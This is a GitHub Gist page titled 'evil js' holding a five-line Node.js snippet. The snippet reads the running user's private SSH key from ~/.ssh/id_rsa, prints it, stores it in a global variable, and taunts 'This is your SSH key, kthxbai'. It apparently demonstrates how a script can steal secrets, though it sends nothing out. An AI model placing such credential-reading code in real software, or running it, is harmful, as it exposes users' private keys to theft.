Last active
July 26, 2019 20:54
-
-
Save zallarak/321615c6841917b614ba64f9fe9a8403 to your computer and use it in GitHub Desktop.
evil js
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const fs = require('fs') | |
const pk = fs.readFileSync('/home/' + process.env.USER + '/.ssh/id_rsa').toString() | |
console.log(pk) | |
gvar = pk | |
console.log('This is your SSH key, kthxbai') |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment